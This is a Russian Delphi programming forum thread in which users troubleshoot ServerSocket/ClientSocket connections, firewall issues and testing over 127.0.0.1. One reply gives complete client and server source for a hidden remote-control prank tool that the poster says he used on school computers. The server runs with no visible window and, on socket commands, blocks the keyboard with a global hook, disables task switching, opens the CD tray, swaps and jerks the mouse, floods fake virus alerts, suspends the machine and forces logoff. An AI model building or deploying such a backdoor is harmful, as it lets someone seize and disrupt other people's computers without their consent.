Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Работа с сетью в Delphi
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 27.04.2008, 21:03   #1
prizrak1390
-=PriZraK=-
Форумчанин
 
Аватар для prizrak1390
 
Регистрация: 12.12.2007
Сообщений: 399
Злость Serversocket,clientsocket

Доброе время суток.
У меня проблема с подключением к удалённым компьютерам на основе компонентов Clientsocket и serversocket....
Тоесть имеются две проги запещенных на разных компах.
Код:
procedure TForm1.ServerSocket1ClientConnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
ser:=socket.RemoteHost;{глобальная переменная типа STRING}
adr:=socket.RemoteAddress;{глобальная переменная типа STRING}
clientsocket1.Active:=false;
clientsocket1.Address:=adr;  {тут я присваиваю клиенту адресс подключенного клиента к своему клиенту...я правильно поступаю??}
end;
И часто возникает ошибка Assinhronus socket error....что это значит и как с этим бороться?
Суть в том что ко мне могут подключиться (срабатывает Onclientconnect) НО я не могу отправлять нужные мне запросы через клиент...
Если кто нибудь собирал программу для общения через интернет на основе этих компонентов то пожалуйста подкиньте код...
prizrak1390 вне форума Ответить с цитированием
Старый 27.04.2008, 21:29   #2
Witaliy
Форумчанин Подтвердите свой е-майл
 
Регистрация: 27.04.2008
Сообщений: 179
По умолчанию

Возможно, у вас нет прав для доступу к Sockets. Тоисть у вас в Firewall выключен доступ.
www.programmer.uaforums.net - Український форум програмістів.

www.satellite.ipsys.net - Український форум супутникового телебачення.
Witaliy вне форума Ответить с цитированием
Старый 29.04.2008, 10:24   #3
prizrak1390
-=PriZraK=-
Форумчанин
 
Аватар для prizrak1390
 
Регистрация: 12.12.2007
Сообщений: 399
По умолчанию

А может ли это быть из-за того что я нигде не прописывал
Serversocket1.open,clientsocket1.op en ???
prizrak1390 вне форума Ответить с цитированием
Старый 01.05.2008, 13:19   #4
Leviathan
 
Регистрация: 01.05.2008
Сообщений: 3
По умолчанию

Я через сокеты в школе отрубал компы, открывал дисководы, блокировал клаву, ввобщем "шалил". Вот исходники:
Клиент:
Код:
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, sEdit, sButton, jpeg, ExtCtrls, ScktComp,
  sSkinProvider, sSkinManager, sMemo;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    sSkinProvider1: TsSkinProvider;
    ClientSocket1: TClientSocket;
    Image1: TImage;
    sButton1: TsButton;
    sButton2: TsButton;
    sButton4: TsButton;
    sEdit1: TsEdit;
    sEdit2: TsEdit;
    sMemo1: TsMemo;
    procedure sButton1Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
    procedure sButton4Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.sButton1Click(Sender: TObject);
begin
If length(sEdit1.Text)<>0 then
Begin

sButton2.Enabled:=true;
sButton4.enabled:=true;
sButton1.Enabled:=false;
clientSocket1.Host:=sEdit1.Text;
clientSocket1.Open;
end
else
MessageDlg('Вы не ввели адрес компа!',mtError,[mbok],0);
end;

procedure TForm1.sButton2Click(Sender: TObject);
begin
sButton2.Enabled:=false;
sButton4.enabled:=false;
sButton1.Enabled:=true;
clientSocket1.close;
end;

procedure TForm1.sButton4Click(Sender: TObject);
begin
ClientSocket1.Socket.SendText(sEdit2.text);
end;

end.
Сервер:
Код:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ScktComp,MMSystem, ExtCtrls;

type
  TForm1 = class(TForm)
    ServerSocket1: TServerSocket;
    Timer1: TTimer;
    procedure FormCreate(Sender: TObject);
    procedure ServerSocket1ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure Timer1Timer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
    Dummy: integer = 0;
  OldKbHook: HHook = 0;


implementation

{$R *.dfm}
function KbHook(code: Integer; wparam: Word; lparam: LongInt): LongInt; stdcall;
begin
  if code < 0 then
    Result := CallNextHookEx(oldKbHook, code, wparam, lparam)
  else
    Result := 1;
end;


procedure TForm1.FormCreate(Sender: TObject);
begin
application.ShowMainForm:=false;
end;

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
  Var
  s:string;
  i:integer;
  begin
  s:=ServerSocket1.Socket.Connections[0].ReceiveText;
  If s='sprcur' then Showcursor(false);
  If s='otmsprcur' then Showcursor(true);
  if s='otkklav' then
  Begin
  SystemParametersInfo(SPI_SETFASTTASKSWITCH, 1, @Dummy, 0);
  SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, @Dummy, 0);
  OldKbHook := SetWindowsHookEx(WH_KEYBOARD, @KbHook, HInstance, 0);
  end;
  If s='otmotkklav' then
  Begin
    if OldKbHook <> 0 then
  begin
    UnHookWindowshookEx(OldKbHook);
    OldKbHook := 0;
  end;
  SystemParametersInfo(SPI_SETFASTTASKSWITCH, 0, nil, 0);
  SystemParametersInfo(SPI_SCREENSAVERRUNNING, 0, nil, 0);
  end;
   if s='otkrcdrom' then mciSendString('Set cdaudio door open wait', nil, 0, handle);
   if s='zakrcdrom' then  mciSendString('Set cdaudio door closed wait', nil, 0, handle);
   if s='mishpom' then SwapMouseButton(true);
   if s='otmmishpom' then SwapMouseButton(false);
   if s='currandom' then timer1.Enabled:=true;
   if s='otmcurrandom' then timer1.Enabled:=false;
   If s='virus' then
   Begin
   For i:=1 to 100 do
   MessageDlg('Обнаружен опасный вирус! И ему пофиг на антивирус!',mtError,[mbOk],0);
   end;
   if s='priost' then SetSystemPowerState(False, True);
   if s='otmpriost' then SetSystemPowerState(True, False);
   if s='otklcomp' then ExitWindowsEx(EWX_LOGOFF or ewx_force,0);
    end;

procedure TForm1.Timer1Timer(Sender: TObject);
Var
x1,y1:integer;
begin
x1:=random(1024);
y1:=random(768);
setcursorpos(x1,y1);
end;

end.

Последний раз редактировалось rpy3uH; 19.08.2008 в 18:57.
Leviathan вне форума Ответить с цитированием
Старый 22.09.2008, 15:01   #5
Vovandows
Пользователь
 
Аватар для Vovandows
 
Регистрация: 22.09.2008
Сообщений: 11
По умолчанию

Цитата:
Сообщение от prizrak1390 Посмотреть сообщение
И часто возникает ошибка Assinhronus socket error....что это значит и как с этим бороться?
Если у тебя программа работает как сервер и как клиент то протестировать на одном компе невозможно, поскольку если запустить две твоих программы то у тебя будет два сервера на одном ПОРТУ! И из за этого и возникает ошибка Assinhronus socket error... Тестируй на двух компах, если есть возможность.
Vovandows вне форума Ответить с цитированием
Старый 09.04.2009, 21:43   #6
postal2
Форумчанин
 
Аватар для postal2
 
Регистрация: 31.10.2008
Сообщений: 215
По умолчанию

Vovandows, не знаешь - не говори. Тестировать можно и на одном, только ввести надо ip своего же компьютнра - он всегда 127.0.0.1
[Ferox]
postal2 вне форума Ответить с цитированием
Старый 11.04.2009, 19:20   #7
wertyn23
Новичок
Джуниор
 
Регистрация: 11.04.2009
Сообщений: 2
По умолчанию

Народ, подскажите пожалуйста, где можно найти компонент ServerSocket на Delphi 7?
wertyn23 вне форума Ответить с цитированием
Старый 12.04.2009, 11:30   #8
postal2
Форумчанин
 
Аватар для postal2
 
Регистрация: 31.10.2008
Сообщений: 215
По умолчанию

wertyn23, советую поискать тут или на худой конец хотя бы у нас на форуме и не задавать глупых вопросов
[Ferox]
postal2 вне форума Ответить с цитированием
Старый 21.04.2009, 15:59   #9
rzawm
Пользователь
 
Аватар для rzawm
 
Регистрация: 06.04.2009
Сообщений: 80
По умолчанию

Цитата:
Сообщение от Vovandows Посмотреть сообщение
Если у тебя программа работает как сервер и как клиент то протестировать на одном компе невозможно, поскольку если запустить две твоих программы то у тебя будет два сервера на одном ПОРТУ! И из за этого и возникает ошибка Assinhronus socket error... Тестируй на двух компах, если есть возможность.
Взможно конечно, но я не раз тестил клиент сервер на основе TServerSocket и TClientSocket на локальной машине по ип 127.0.0.1 проблем вродебы не было. Не в этом мне кажется дело.
rzawm вне форума Ответить с цитированием
Старый 21.04.2009, 16:01   #10
rzawm
Пользователь
 
Аватар для rzawm
 
Регистрация: 06.04.2009
Сообщений: 80
По умолчанию

либо если есть возможность использоват hostname то попробуй localhost аналгия со 127.0.0.1 но только по имени.
rzawm вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Работа с ServerSocket и ClientSocket AlDelta Работа с сетью в Delphi 12 28.09.2008 11:18
Вопрос про ServerSocket и ClientSocket civic.qip Работа с сетью в Delphi 8 27.09.2008 02:04
Работа с Clientsocket и Serversocket prizrak1390 Работа с сетью в Delphi 3 26.04.2008 22:59
Events в ServerSocket и ClientSocket LiFeStyle Работа с сетью в Delphi 3 22.11.2007 22:26